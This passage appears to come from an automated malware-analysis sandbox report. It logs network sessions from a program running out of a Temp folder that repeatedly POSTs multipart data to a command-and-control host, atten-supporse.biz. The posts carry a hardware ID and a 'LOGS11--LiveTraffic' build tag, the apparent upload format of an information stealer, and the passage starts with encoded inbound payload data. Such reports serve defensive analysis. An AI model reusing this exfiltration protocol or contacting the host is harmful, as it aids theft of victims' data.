2024-12-09 19:29:21 UTC	1369	IN	Data Raw: 37 4d 4f 54 31 6d 6d 73 39 55 4f 31 4e 47 70 4b 2b 6c 50 69 36 2f 6b 6c 33 57 6b 65 6e 75 73 2b 31 36 77 56 6d 33 63 46 51 71 6e 67 79 34 76 69 42 4a 53 59 57 2f 51 59 57 6d 50 37 4e 73 76 65 34 44 48 56 4e 42 76 58 30 2f 72 6a 72 41 47 65 63 35 6c 79 67 64 6a 6e 38 73 70 4e 6c 4f 31 37 7a 41 56 33 47 76 73 43 78 74 2f 31 47 64 6c 56 42 6f 4c 48 4a 75 4f 51 41 62 39 54 64 57 4b 70 30 4e 2b 66 30 6a 43 77 6d 47 2b 59 49 46 4a 4c 79 6a 50 62 33 38 56 51 79 44 51 61 43 73 39 79 38 79 41 35 35 31 35 4e 41 34 47 46 2b 37 66 37 4d 63 32 49 5a 38 51 55 57 6d 50 62 4d 71 72 4c 34 52 33 4e 66 51 4b 79 35 78 72 6e 6e 44 47 6a 59 33 31 2b 70 66 79 7a 34 39 34 6f 35 4b 46 36 36 54 52 71 47 76 70 54 34 67 65 5a 62 59 30 4d 45 6d 4c 66 45 73 65 41 62 4b 4d 47 64 52 75 Data Ascii: 7MOT1mms9UO1NGpK+lPi6/kl3Wkenus+16wVm3cFQqngy4viBJSYW/QYWmP7Nsve4DHVNBvX0/rjrAGec5lygdjn8spNlO17zAV3GvsCxt/1GdlVBoLHJuOQAb9TdWKp0N+f0jCwmG+YIFJLyjPb38VQyDQaCs9y8yA5515NA4GF+7f7Mc2IZ8QUWmPbMqrL4R3NfQKy5xrnnDGjY31+pfyz494o5KF66TRqGvpT4geZbY0MEmLfEseAbKMGdRu
2024-12-09 19:29:21 UTC	181	IN	Data Raw: 2b 4a 34 6a 4c 42 50 2f 41 68 61 4d 2f 73 47 38 75 2f 4a 45 65 56 38 47 34 2f 54 4e 70 36 64 56 4b 4f 76 65 55 4b 35 37 4b 4b 72 74 77 6a 4a 69 47 66 68 4e 52 64 37 79 77 72 69 34 2b 6b 42 35 58 55 65 68 75 73 32 36 37 67 56 67 7a 4e 4a 62 70 6e 6b 77 35 66 4f 49 4c 69 63 61 38 77 6b 62 6b 62 36 43 2b 4c 44 75 44 43 6f 56 61 59 71 42 69 4a 37 64 54 58 65 51 79 68 2b 70 64 48 36 79 73 6f 41 6f 4c 68 62 37 43 78 53 53 39 4d 57 7a 75 2f 31 49 66 6c 78 44 71 37 58 50 75 75 59 4a 5a 4e 54 56 58 4b 31 33 4d 65 58 36 7a 47 56 69 47 65 78 0d 0a Data Ascii: +J4jLBP/AhaM/sG8u/JEeV8G4/TNp6dVKOveUK57KKrtwjJiGfhNRd7ywri4+kB5XUehus267gVgzNJbpnkw5fOILica8wkbkb6C+LDuDCoVaYqBiJ7dTXeQyh+pdH6ysoAoLhb7CxSS9MWzu/1IflxDq7XPuuYJZNTVXK13MeX6zGViGex
2024-12-09 19:29:21 UTC	1369	IN	Data Raw: 33 63 36 31 0d 0a 4e 52 64 37 62 32 37 4f 35 38 41 78 74 47 31 2f 74 73 38 62 2f 76 30 31 6b 31 39 56 5a 71 33 51 2f 37 50 71 4a 49 79 59 66 38 67 73 65 6b 66 72 4a 75 62 6a 79 51 48 78 66 52 36 79 34 77 62 44 73 43 43 69 51 6b 31 69 32 4f 47 61 71 77 34 38 39 4e 51 37 34 54 51 4c 51 35 34 79 2f 75 37 59 55 4d 6c 52 55 70 37 37 45 75 75 67 49 61 39 48 55 55 71 68 30 4e 4f 50 36 69 69 51 72 44 50 63 42 45 35 6e 77 77 4c 61 36 2f 45 39 2f 46 51 6a 74 73 39 4c 2f 76 30 31 45 32 64 35 78 70 58 51 35 71 75 33 43 4d 6d 49 5a 2b 45 31 46 33 76 4c 47 74 4c 37 32 52 58 64 64 54 61 53 78 79 37 54 69 44 6d 37 54 33 46 61 38 63 6a 33 6b 38 59 41 6e 4a 42 2f 33 48 78 57 58 76 6f 4c 34 73 4f 34 4d 4b 68 56 6e 6f 37 6e 65 75 50 64 4e 64 35 44 4b 48 36 6c 30 66 72 4b 79 Data Ascii: 3c61NRd7b27O58AxtG1/ts8b/v01k19VZq3Q/7PqJIyYf8gsekfrJubjyQHxfR6y4wbDsCCiQk1i2OGaqw489NQ74TQLQ54y/u7YUMlRUp77EuugIa9HUUqh0NOP6iiQrDPcBE5nwwLa6/E9/FQjts9L/v01E2d5xpXQ5qu3CMmIZ+E1F3vLGtL72RXddTaSxy7TiDm7T3Fa8cj3k8YAnJB/3HxWXvoL4sO4MKhVno7neuPdNd5DKH6l0frKy
2024-12-09 19:29:21 UTC	1369	IN	Data Raw: 37 7a 46 56 33 47 76 75 57 2f 70 66 68 63 4d 6b 6f 49 74 50 54 4e 73 36 64 56 4b 4e 72 5a 55 4b 70 2f 4d 75 7a 33 69 69 59 6a 45 66 55 4e 45 70 72 31 78 62 36 32 2b 30 6c 2f 55 56 53 6e 76 38 57 7a 37 67 46 6c 6e 70 30 66 71 57 42 2b 73 72 4b 39 4a 69 77 51 38 78 74 64 67 62 44 56 2b 4c 44 36 44 43 6f 56 52 36 47 37 79 62 44 6b 44 6d 6e 55 77 55 32 69 63 54 62 76 2f 6f 63 6c 4a 41 7a 79 41 68 53 64 2f 63 57 2f 76 2f 70 47 63 56 49 47 34 2f 54 4e 70 36 64 56 4b 50 33 45 54 36 4d 34 49 61 54 72 7a 43 77 75 58 71 78 4e 46 5a 50 32 78 72 79 77 2b 30 74 30 58 46 53 6b 73 63 53 2f 34 77 5a 6e 32 4e 64 63 72 6d 6f 34 37 76 71 50 4a 69 38 51 39 77 6c 64 30 4c 37 4c 6f 50 65 75 44 45 42 59 53 4c 61 37 7a 61 37 74 54 58 65 51 79 68 2b 70 64 48 36 79 73 6f 67 6c 4d Data Ascii: 7zFV3GvuW/pfhcMkoItPTNs6dVKNrZUKp/Muz3iiYjEfUNEpr1xb62+0l/UVSnv8Wz7gFlnp0fqWB+srK9JiwQ8xtdgbDV+LD6DCoVR6G7ybDkDmnUwU2icTbv/oclJAzyAhSd/cW/v/pGcVIG4/TNp6dVKP3ET6M4IaTrzCwuXqxNFZP2xryw+0t0XFSkscS/4wZn2Ndcrmo47vqPJi8Q9wld0L7LoPeuDEBYSLa7za7tTXeQyh+pdH6ysoglM
2024-12-09 19:29:21 UTC	1369	IN	Data Raw: 53 6d 76 6a 49 74 37 66 39 52 58 4e 54 51 36 65 2f 7a 4c 4c 6b 43 32 36 65 6e 52 2b 70 59 48 36 79 73 71 77 77 4c 78 4c 7a 54 51 4c 51 35 34 79 2f 75 37 59 55 4d 6c 35 4b 71 62 50 4b 73 75 51 46 62 64 72 5a 57 71 35 77 4c 4f 4c 79 69 7a 6b 77 48 76 30 49 45 5a 33 2b 79 4c 36 2b 38 45 39 32 46 51 6a 74 73 39 4c 2f 76 30 31 46 30 74 52 32 71 57 4e 2b 39 62 79 56 61 79 55 53 74 46 56 64 6e 2f 58 47 74 37 72 31 53 6e 46 65 51 36 65 31 7a 62 66 71 48 32 76 52 33 46 75 75 64 7a 6a 73 38 34 4d 74 4a 52 66 31 42 52 72 65 73 49 79 2f 72 37 59 55 4d 6e 74 42 72 72 43 4b 6f 4b 6b 55 4b 4e 6e 66 48 2f 59 34 50 75 44 34 68 69 55 69 47 65 59 4c 46 4a 37 39 33 72 75 78 2f 6b 70 2b 57 55 75 6c 76 63 71 36 37 41 42 6a 30 39 56 66 70 58 6c 2b 70 4c 4b 4c 4d 32 4a 47 74 44 Data Ascii: SmvjIt7f9RXNTQ6e/zLLkC26enR+pYH6ysqwwLxLzTQLQ54y/u7YUMl5KqbPKsuQFbdrZWq5wLOLyizkwHv0IEZ3+yL6+8E92FQjts9L/v01F0tR2qWN+9byVayUStFVdn/XGt7r1SnFeQ6e1zbfqH2vR3Fuudzjs84MtJRf1BRresIy/r7YUMntBrrCKoKkUKNnfH/Y4PuD4hiUiGeYLFJ793rux/kp+WUulvcq67ABj09VfpXl+pLKLM2JGtD
2024-12-09 19:29:21 UTC	1369	IN	Data Raw: 6e 75 50 69 70 52 73 69 42 31 6e 6a 72 59 71 70 70 31 55 36 6b 4a 4e 4e 37 69 42 2b 72 66 47 65 4f 53 51 64 34 67 35 61 6f 4d 44 72 6f 72 72 77 57 32 4e 72 65 4b 71 75 78 37 6e 77 48 43 54 4c 30 46 47 67 66 79 69 71 76 4d 77 6b 59 6b 62 4e 54 56 58 65 77 59 4c 34 72 37 59 55 4d 6d 42 46 6f 37 72 4e 71 66 5a 41 54 38 54 65 57 62 6c 70 66 71 53 79 69 6d 74 36 54 72 70 4e 47 59 2b 2b 6c 4f 6a 6c 72 52 6b 68 41 68 62 2f 71 34 53 6d 70 78 73 6f 68 6f 45 52 37 6d 70 2b 73 72 4c 4c 4b 44 41 4d 38 67 34 4c 6e 62 6e 79 68 70 6e 78 53 6e 64 53 56 75 2b 61 77 61 76 67 54 53 61 65 33 42 2f 32 51 58 36 69 73 72 4e 6c 59 67 61 30 56 56 32 72 2f 63 4b 32 73 4f 42 64 50 33 74 42 71 37 48 4e 72 36 55 6a 59 38 72 55 48 2b 41 34 4f 4b 71 71 33 47 56 69 47 75 56 4e 52 63 36 Data Ascii: nuPipRsiB1njrYqpp1U6kJNN7iB+rfGeOSQd4g5aoMDrorrwW2NreKqux7nwHCTL0FGgfyiqvMwkYkbNTVXewYL4r7YUMmBFo7rNqfZAT8TeWblpfqSyimt6TrpNGY++lOjlrRkhAhb/q4SmpxsohoER7mp+srLLKDAM8g4LnbnyhpnxSndSVu+awavgTSae3B/2QX6isrNlYga0VV2r/cK2sOBdP3tBq7HNr6UjY8rUH+A4OKqq3GViGuVNRc6
2024-12-09 19:29:21 UTC	1369	IN	Data Raw: 64 46 43 64 56 52 51 76 61 50 46 38 4d 6b 37 53 65 44 74 53 71 31 32 4d 4f 33 6b 6e 57 74 73 58 76 74 4e 52 61 65 2b 68 50 69 49 75 41 78 71 46 52 37 74 67 63 6d 78 36 51 70 2b 7a 35 35 34 6f 48 38 2f 2f 4f 4b 62 4a 47 30 77 77 69 78 64 30 4c 37 4b 2b 4f 2b 6b 41 6a 4a 52 56 2b 33 73 6d 75 32 38 57 44 75 4a 67 77 32 78 4e 69 65 71 35 4d 78 7a 63 46 43 30 48 31 33 47 76 6f 75 37 70 65 52 4b 63 55 4e 46 36 6f 72 30 6d 4f 6b 4b 61 63 6a 44 55 71 4a 5a 50 66 76 34 73 68 55 33 48 66 6f 44 47 6f 6a 76 6a 50 62 33 2b 51 77 71 62 41 62 6c 39 50 58 78 70 78 55 6f 68 70 4e 71 72 58 59 77 37 65 53 64 5a 67 55 51 38 77 77 4c 6a 76 50 41 6d 62 54 6e 52 6a 49 62 42 71 76 30 6b 75 32 70 54 57 7a 50 6b 77 66 2b 4b 6d 57 2f 6f 64 74 37 63 41 47 36 46 46 32 49 76 70 54 71 Data Ascii: dFCdVRQvaPF8Mk7SeDtSq12MO3knWtsXvtNRae+hPiIuAxqFR7tgcmx6Qp+z554oH8//OKbJG0wwixd0L7K+O+kAjJRV+3smu28WDuJgw2xNieq5MxzcFC0H13Gvou7peRKcUNF6or0mOkKacjDUqJZPfv4shU3HfoDGojvjPb3+QwqbAbl9PXxpxUohpNqrXYw7eSdZgUQ8wwLjvPAmbTnRjIbBqv0ku2pTWzPkwf+KmW/odt7cAG6FF2IvpTq

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
15	192.168.2.4	50022	104.21.64.1	443	6704	C:\Users\user\AppData\Local\Temp\1013505001\5a20612cd1.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-09 19:29:24 UTC	275	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=2KPKV6R91 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 18046 Host: atten-supporse.biz
2024-12-09 19:29:24 UTC	15331	OUT	Data Raw: 2d 2d 32 4b 50 4b 56 36 52 39 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 37 41 43 37 35 38 34 46 42 35 41 36 30 39 38 46 32 33 44 39 30 34 41 46 33 30 45 46 45 42 42 43 0d 0a 2d 2d 32 4b 50 4b 56 36 52 39 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 32 0d 0a 2d 2d 32 4b 50 4b 56 36 52 39 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 4c 4f 47 53 31 31 2d 2d 4c 69 76 65 54 72 61 66 66 69 63 0d 0a 2d 2d 32 4b 50 4b 56 36 52 39 31 0d 0a 43 6f 6e 74 65 6e Data Ascii: --2KPKV6R91Content-Disposition: form-data; name="hwid"7AC7584FB5A6098F23D904AF30EFEBBC--2KPKV6R91Content-Disposition: form-data; name="pid"2--2KPKV6R91Content-Disposition: form-data; name="lid"LOGS11--LiveTraffic--2KPKV6R91Conten
2024-12-09 19:29:24 UTC	2715	OUT	Data Raw: b5 9b 60 cc b0 d7 ab 1f 3b d0 52 0a 9f fd 54 22 95 3f 7a 94 ff 75 ab 9f a1 e3 6f 93 83 99 38 43 4e 2f 95 2f 6d 6e ac ae d3 03 1e ad ac 6f 7a a3 8a 81 36 d9 bf 1f 83 71 fd 1a ed c5 4d d3 3e 9b d8 ac 97 0c bd 15 36 2b 97 37 bb ef 2e 57 0f bc 3e 57 2a 0f 97 2f ad 6d 4a a7 02 2f 2b 7f 42 10 78 3e ba 45 a8 b5 6d 75 bf 83 75 53 b3 09 3b 9c 3e 27 56 d3 d4 ab d6 33 5e 4f 4d 1f 4e cd b2 89 b4 bc b1 b1 56 29 af ef 1e fa 70 79 ed 62 65 cf 7b d9 de 73 45 81 36 af a9 da 16 51 bc 21 8f 77 45 11 8f 43 d4 61 11 d5 14 88 8d cc 54 77 94 6d 93 be 93 15 d7 52 9c ab a6 b6 5f c9 35 8b 56 2d 7b 91 d7 e9 19 4d f6 c6 b5 e8 cb ce 3b 27 7d d7 5d ff e0 c2 63 71 3a 91 bb 9f 7f d2 6b 4a ce d3 06 1b 2e 38 e4 e9 36 31 b5 bd bb 89 50 e3 da 13 39 c5 5e d6 f4 06 3e 5d e8 3c 2b a4 f2 47 8e Data Ascii: `;RT"?zuo8CN//mnoz6qM>6+7.W>W*/mJ/+Bx>EmuuS;>'V3^OMNV)pybe{sE6Q!wECaTwmR_5V-{M;'}]cq:kJ.861P9^>]<+G
2024-12-09 19:29:27 UTC	1020	IN	HTTP/1.1 200 OK Date: Mon, 09 Dec 2024 19:29:26 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=34ulj9mh0p9d00jitj4b8k67ki; expires=Fri, 04-Apr-2025 13:16:04 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=2MQFZfQYP0UYeFwufj50qk23wnM3WjiO9KYNkiGa7AaoSias4eMYSgW5cYrx34xMWjaAXvG6SSIRd7wxHH%2BhfzbCpg6yHtJcC47x3WNNllU5CV8MRfQei4fjB3T%2FgvPlJaJuK%2Fs%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8ef767628b5b42b7-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1563&min_rtt=1558&rtt_var=595&sent=11&recv=22&lost=0&retrans=0&sent_bytes=2846&recv_bytes=19001&delivery_rate=1823860&cwnd=212&unsent_bytes=0&cid=f43f4702dfc0423d&ts=2346&x=0"
2024-12-09 19:29:27 UTC	20	IN	Data Raw: 66 0d 0a 6f 6b 20 38 2e 34 36 2e 31 32 33 2e 32 32 38 0d 0a Data Ascii: fok 8.46.123.228
2024-12-09 19:29:27 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
16	192.168.2.4	50043	104.21.64.1	443	6704	C:\Users\user\AppData\Local\Temp\1013505001\5a20612cd1.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-09 19:29:29 UTC	273	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=E2PYZLBJ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 8730 Host: atten-supporse.biz
2024-12-09 19:29:29 UTC	8730	OUT	Data Raw: 2d 2d 45 32 50 59 5a 4c 42 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 37 41 43 37 35 38 34 46 42 35 41 36 30 39 38 46 32 33 44 39 30 34 41 46 33 30 45 46 45 42 42 43 0d 0a 2d 2d 45 32 50 59 5a 4c 42 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 32 0d 0a 2d 2d 45 32 50 59 5a 4c 42 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 4c 4f 47 53 31 31 2d 2d 4c 69 76 65 54 72 61 66 66 69 63 0d 0a 2d 2d 45 32 50 59 5a 4c 42 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 Data Ascii: --E2PYZLBJContent-Disposition: form-data; name="hwid"7AC7584FB5A6098F23D904AF30EFEBBC--E2PYZLBJContent-Disposition: form-data; name="pid"2--E2PYZLBJContent-Disposition: form-data; name="lid"LOGS11--LiveTraffic--E2PYZLBJContent-Di
2024-12-09 19:29:30 UTC	1014	IN	HTTP/1.1 200 OK Date: Mon, 09 Dec 2024 19:29:30 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=e84ghl8oc2ds16u586k7br95hj; expires=Fri, 04-Apr-2025 13:16:08 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=LDjgEhr62xP5m2f6qGNJgiBGbvmnm7bibA1B3dL2HpHlea3VKEOkLugeuwpbDrpT8IkCMjzrHbCKAVHB7Y6IZ%2FQsrdPgRWAUV0slrBMYnkmU8LS0TomcWd3yk85bxPu6j94KB24%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8ef7677dcc8e43f3-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1759&min_rtt=1754&rtt_var=668&sent=7&recv=15&lost=0&retrans=0&sent_bytes=2846&recv_bytes=9661&delivery_rate=1624026&cwnd=204&unsent_bytes=0&cid=001eb2fcba58a2c4&ts=1279&x=0"
2024-12-09 19:29:30 UTC	20	IN	Data Raw: 66 0d 0a 6f 6b 20 38 2e 34 36 2e 31 32 33 2e 32 32 38 0d 0a Data Ascii: fok 8.46.123.228
2024-12-09 19:29:30 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
17	192.168.2.4	50057	104.21.64.1	443	6704	C:\Users\user\AppData\Local\Temp\1013505001\5a20612cd1.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-09 19:29:32 UTC	285	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=DWNF3ZJOR7XH87Z8DFV User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 20449 Host: atten-supporse.biz
2024-12-09 19:29:32 UTC	15331	OUT	Data Raw: 2d 2d 44 57 4e 46 33 5a 4a 4f 52 37 58 48 38 37 5a 38 44 46 56 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 37 41 43 37 35 38 34 46 42 35 41 36 30 39 38 46 32 33 44 39 30 34 41 46 33 30 45 46 45 42 42 43 0d 0a 2d 2d 44 57 4e 46 33 5a 4a 4f 52 37 58 48 38 37 5a 38 44 46 56 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 33 0d 0a 2d 2d 44 57 4e 46 33 5a 4a 4f 52 37 58 48 38 37 5a 38 44 46 56 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 4c 4f 47 53 31 31 2d 2d 4c 69 Data Ascii: --DWNF3ZJOR7XH87Z8DFVContent-Disposition: form-data; name="hwid"7AC7584FB5A6098F23D904AF30EFEBBC--DWNF3ZJOR7XH87Z8DFVContent-Disposition: form-data; name="pid"3--DWNF3ZJOR7XH87Z8DFVContent-Disposition: form-data; name="lid"LOGS11--Li
2024-12-09 19:29:32 UTC	5118	OUT	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 60 93 1b 88 82 85 4d 3f 0d 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 6c 72 83 51 b0 b0 e9 a7 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 4d 6e 20 0a 16 36 fd 34 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 b0 c9 0d 46 c1 c2 a6 9f 06 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 36 b9 81 28 58 d8 f4 d3 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 c0 26 37 18 05 0b 9b 7e 1a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: `M?lrQMn 64F6(X&7~
2024-12-09 19:29:34 UTC	1016	IN	HTTP/1.1 200 OK Date: Mon, 09 Dec 2024 19:29:33 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=ha2eceug9e1ifocdtu72ppfibd; expires=Fri, 04-Apr-2025 13:16:12 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=ujBY1iaRwSHAIUKaHf5ktnAUTy8y6yZXy2A3IxEFzrplHrYamHZxJo9BZFWlETXhIfKMJ7HSYnuX6NRGnmWQs82eeH0n8kNmil39OqO1Mk83lH7%2BbjKqDmLrZozCA55RbJB22uU%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8ef767952b932369-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1790&min_rtt=1782&rtt_var=684&sent=11&recv=25&lost=0&retrans=0&sent_bytes=2846&recv_bytes=21414&delivery_rate=1580942&cwnd=142&unsent_bytes=0&cid=17b35eb8cd131b62&ts=1207&x=0"
2024-12-09 19:29:34 UTC	20	IN	Data Raw: 66 0d 0a 6f 6b 20 38 2e 34 36 2e 31 32 33 2e 32 32 38 0d 0a Data Ascii: fok 8.46.123.228
2024-12-09 19:29:34 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
18	192.168.2.4	50070	104.21.64.1	443	6704	C:\Users\user\AppData\Local\Temp\1013505001\5a20612cd1.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-09 19:29:36 UTC	283	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=KI9C4VTEQYJ5BMQD9P User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 1319 Host: atten-supporse.biz
2024-12-09 19:29:36 UTC	1319	OUT	Data Raw: 2d 2d 4b 49 39 43 34 56 54 45 51 59 4a 35 42 4d 51 44 39 50 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 37 41 43 37 35 38 34 46 42 35 41 36 30 39 38 46 32 33 44 39 30 34 41 46 33 30 45 46 45 42 42 43 0d 0a 2d 2d 4b 49 39 43 34 56 54 45 51 59 4a 35 42 4d 51 44 39 50 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 31 0d 0a 2d 2d 4b 49 39 43 34 56 54 45 51 59 4a 35 42 4d 51 44 39 50 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 4c 4f 47 53 31 31 2d 2d 4c 69 76 65 54 Data Ascii: --KI9C4VTEQYJ5BMQD9PContent-Disposition: form-data; name="hwid"7AC7584FB5A6098F23D904AF30EFEBBC--KI9C4VTEQYJ5BMQD9PContent-Disposition: form-data; name="pid"1--KI9C4VTEQYJ5BMQD9PContent-Disposition: form-data; name="lid"LOGS11--LiveT
2024-12-09 19:29:37 UTC	1016	IN	HTTP/1.1 200 OK Date: Mon, 09 Dec 2024 19:29:37 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=pjc366mf927irlficshkh35ae2; expires=Fri, 04-Apr-2025 13:16:16 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=wGN0NzSsUQ%2FHYLiWKi5aew2gtY1kASo2I1CmCGZpHWS928n8GMR4pQ8EDmWHNRk2eMd6nP6OxNJxvj%2B1U83Sdkp9YqueE8dg1hK0HQKBBYK7FHp3yaw%2FZH9WmGmR8iSDIUHhzdk%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8ef767aded701819-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1500&min_rtt=1498&rtt_var=565&sent=5&recv=7&lost=0&retrans=0&sent_bytes=2847&recv_bytes=2238&delivery_rate=1928665&cwnd=215&unsent_bytes=0&cid=fe2905dc19573d39&ts=747&x=0"
2024-12-09 19:29:37 UTC	20	IN	Data Raw: 66 0d 0a 6f 6b 20 38 2e 34 36 2e 31 32 33 2e 32 32 38 0d 0a Data Ascii: fok 8.46.123.228
2024-12-09 19:29:37 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
19	192.168.2.4	50084	104.21.64.1	443	6704	C:\Users\user\AppData\Local\Temp\1013505001\5a20612cd1.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-09 19:29:40 UTC	282	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=QW0466171VW13GIK User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 28030 Host: atten-supporse.biz
